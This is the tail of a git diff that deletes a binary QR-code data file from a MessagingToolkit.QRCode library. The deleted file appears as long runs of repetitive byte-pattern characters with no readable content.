xxwwvvuu--..//00ttssrrqq%%&&''((||{{zzyy  00112233QPONMLKKRRSSTTUUOONNMMLLJJKKLLMMWWVVUUTTBBCCDDEE__^^]]\\::;;<<==ggffeedd22334455]]\\[[ZZooppqqrr - - ttssrrqq11223344ppoonnmm))**++,,xxwwvvuu!!""##$$~~}}99::;;<>??@@AAccbbaa``66778899YYXXWWVVssttuuvvppoonnmm55667788llkkjjii--..//00ttssrrqq%%&&''((||{{zzyy ==>>??@@FFEEDDCCZZ[[\\]]GGFFEEDDRRSSTTUUOONNMMLLJJKKLLMMWWVVUUTTBBCCDDEE__^^]]\\::;;<<==UUTTSSRRwwxxyyzz - -llkkjjii99::;;<>??@@AAQQKKJJII{{ - - hgfedccb==>>??@@ddccbbaa55667788llkkjjii--..//00ttssrrqq%%&&''((||{{zzyy zzyyxxwwEEFFGGHH>>==<<;;bbccddee??>>==<>??@@ddccbbaa55667788llkkjjii--..//00ttssrrqq%%&&''((rrqqppooRRSSTTUU43322110jjkkllmm77665544bbccddee??>>==<>==''(())**ZYYXXWWVIIJJKKLLXXWWVVUUAABBCCDD``__^^]]99::;;<>??@@ddccbbaa55667788llkkjjii--..//00jjiiccbbZZ[[\\]],++**))(rrssttuu//..--,,jjkkllmm77665544bbccddee??>>==<>??@@ddccbbaa55667788]]\\[[ZZbbcciijj$##""!! zz{{||}}''&&%%$$rrssttuu//..--,,jjkkllmm77665544bbccddee??>>==<>??GGFFEEDDYYZZ[[\\HHGGFFEEQQRRSSTTPPOONNMMIIJJKKLLXXWWVVUUAABBCCDD``__^^]]99::;;<>??@@UUTTSSRRooppqqrrzz{{||}}''&&%%$$rrssttuu//..--,,jjkkllmm77665544bbccddee##""!!~~}}||**++,,--{{zzyyxxDDEEFFGG??>>==<>==YYZZ[[\\HHGGFFEEQQRRSSTTPPOONNMMIIJJKKLLXXWWVVUUAABBCCDDQQKKJJIIssttuuvv~~##""!! vvwwxxyy++**))((nnooppqq33221100ffgghhii{{zzyyxx..//0011 !!""##wwvvuuttHHIIJJKK;;::9987eeffgghh<<;;::99]]^^__``DDCCBBAAUUVVWWXXLLKKJJIIMMNNOOPPTTSSRRQQEEFFGGHHHHGGFFEEwwxxyyzzzz{{||}}''&&%%$$rrssttuu//..--,,jjkkllmmwwvvuutt22334455$$%%&&''ssrrqqppQQRRSSTT65433221iijjkkll88776655aabbccdd@@??>>==YYZZ[[\\HHGGFFEEQQRRSSTTPPOONNMMIIJJKKLLDDCCBBAA{{ - -~~##""!! vvwwxxyy++**))((nnooppqqssrrqqpp66778899(())**++oonnmmllUUVVWWXX100//..-mmnnoopp44332211eeffgghh<<;;::99]]^^__``DDCCBBAAUUVVWWXXLLKKJJIIMMNNOOPP@@??>>==  zz{{||}}''&&%%$$rrssttuu oonnmmll::;;<<==,,--..//kkjjiiccYYZZ[[\\-,,++**)qqrrsstt00//..--iijjkkll88776655aabbccdd@@??>>==YYZZ[[\\HHGGFFEEQQRRSSTT<<;;::99 - - ~~##""!! vvwwxxyy - - - -kkjjiihh>>??@@AA00112233bbaa``__]]^^__``)((''&&%uuvvwwxx,,++**))mmnnoopp44332211eeffgghh<<;;::99]]^^__``DDCCBBAAUUVVWWXX33221100 zz{{||}} ggffeeddBBCCDDEE44556677^^]]\\[[aabbccii%$$##""!yyzz{{||((''&&%%qqrrsstt00//..--iijjkkll88776655aabbccdd@@??>>==YYZZ[[\\//..--,,  - - ~~ccbbaa``FFGGHHII8899::;;ZZYYXXWWjjkkllmm! }}~~$$##""!!uuvvwwxx,,++**))mmnnoopp44332211eeffgghh<<;;::99]]^^__``++**))(( - -  __^^]]\\JJKKLLMM<<==>>??VVUUTTSSnnooppqq yyzz{{||((''&&%%qqrrsstt00//..--iijjkkll88776655aabbccdd''&&%%$$  - - [[ZZYYXXNNOOPPQQ@@AABBCCRRQQKKJJrrssttuu}}~~$$##""!!uuvvwwxx,,++**))mmnnoopp44332211eeffgghh##""!! - -  !!""##WWVVUUTTRRSSTTUUDDEEFFGGIIHHGGFFvvwwxxyy yyzz{{||((''&&%%qqrrsstt00//..--iijjkkll  - - $$%%&&''SSRRQQPPVVWWXXYYHHIIJJKKEEDDCCBBzz{{ }}~~$$##""!!uuvvwwxx,,++**))mmnnoopp - - (())**++OONNMMLLZZ[[\\]]LLMMNNOOAA@@??>> - -   yyzz{{||((''&&%%qqrrsstt !! ,,--..//KKJJIIHH^^__``aaPPQQRRSS==<<;;:: - - }}~~$$##""!!uuvvwwxx ""##$$%%~~}}|| - - 00112233GGFFEEDDbbccddeeTTUUVVWW99332211  yyzz{{|| - - ~}|&&''(()){{zzyyxx !! 99::;;<>??@@??>>==<>??@@AAccbbaa``66778899kkjjiihh..//0011ssrrqqpp&&''(()){{zzyyxx !!vvuuttssVVWWXXYY++**))((~~ppqqrrss  !!""##a``__^^]BBCCDDEE__^^]]\\::;;<<==ggffeedd22334455oonnmmll**++,,--wwvvuutt""##$$%%rrqqppooZZ[[\\]]''&&%%$$ttuuvvww !!""##$$~~}} - - $$%%&&'']\\[[ZZYFFGGHHII[[ZZYYXX>>??@@AAccbbaa``66778899kkjjiihh..//0011ssrrqqpp&&''(())nnmmllkk^^__``aa##""!! xxyyzz{{ - - ~%%&&''((||{{zzyy  (())**++YXXWWVVUJJKKLLMMWWVVUUTTBBCCDDEE__^^]]\\::;;<<==ggffeedd22334455oonnmmll**++,,--jjiiccbbbbcciijj||}}~~}|{{zzyy))**++,,xxwwvvuu!!""##$$~~}} - - ,,--..//UTTSSRRQNNOOPPQQSSRRQQPPFFGGHHII[[ZZYYXX>>??@@AAccbbaa``66778899kkjjiihh..//0011aa``__^^kkllmmnnbdQZ|vpf˂pZtlJv`fXQJ`ےJltH~fr˂p|ZdQbf~HXQJ`ےJltH~fp`JXQd|Z`f~J`ےltb~f`˂pZZdQbt~HfJ`ےltb~f`˂p`J~fpvHAZp˂Z|dXnvbے`lJtAdQbnXHfpv`ےbtbdQf`vtArdnXvZp˂|drnvpے`JJtArdnXvZp˂drtAH~fHAbےtArd~HfpbHAZbdQZ|`vXnZHAbtlJfpvbHAZbdQZ|`vXnr˂pdQbtHfpvbHAZpdQZ|vXnHAbےlJtApvnbHAZpdQZ|vXnXQr˂nXv`rXQJrtAJlpfH~JXQrd|Zv`fnrXQHAZp˂Z|dXnv|ZdQb`f~fprXQJ`tAJlfH~XQr˂|ZdQ`f~rXQJ`Jlt`vXn`JXQr|ZdQbvnXp˂rdrtAvpfے`JXQtArdnXv`p˂rdrtAvpfZHAbl|ZdQnXv˂rXQdrtAJvpfH`JXQrrd|Xv`f˂rXQdrtAJ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LLLLLLLLLLLLLLLLL \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_1.dat deleted file mode 100644 index 76cb198..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_1.dat +++ /dev/null @@ -1,313 +0,0 @@ -~}~}~}~}~}~}~}~}|{|{|{{{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecccdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565433333344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}{{{|{|{||{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKKKKKKLLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}{|{|{|{||{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcdcddccccccdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434344343433321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}{|{|{|{||{{{{{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcdcdcdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLLKLKLKKKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434343334343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!~}~}~}~}~}~}~}~}{|{|{|{||{|{|{zyzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefecdcdcdcdcdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343434343434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}{|{|{|{|zyzyzyzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefeccccccdccdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLLKJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565343433333434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}{{{{{{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghgfefefefefefefedcdcdcdccdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKKKKJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787876565656565334343433434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvutststststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdccdcdccccbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343433434343421212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutststststststststststsrqrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcccdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343433333334321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}{{{{{|{||{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqrqrqrqpopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKKKKKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCBABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}{|{|{|{||{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopopopopoponmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcccccdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMKLKLKLKLLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}{|{|{|{||{|{{{{{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmnmnmnmlklklklklklklklklkjijijijijijijijihghghghgfefefefefefefefecdcdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMKLKLKLKLLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565333334344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}{|{|{|{|{|{|{|{|zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklkjijijijijijijijijihghghghgfefefefefefefefecdcdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMKLKLKLKLKKKKKLKLJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787876565656565656565343434344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!~}~}~}~}{|{|{|{|{|{|{|{|zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijihghghghghgfefefefefefefefecdcdcdcdccccdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMKLKLKLKLKLKLKLKLJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9878787876565656565656565343434344343333321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!~}~}~}~}{|{{{{{{{|{|{|{|zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefecdcdcdcddcdcbabababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMKLKLKLKKKLKLKLKLJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9878787878787876565656565656565343434344343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!~}~}~}~}~}~}|{|{|{|{{|{|{|{|zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefecdcdcdccbabababababababababa`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMKKKKLKLKKLKLKLKLJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565343434342121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{{|{|{|{{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefeccccdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKKLKLKLKLJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565653433333321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}~}|{|{|{|{{{{{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefedcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKKLKKKKKKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!    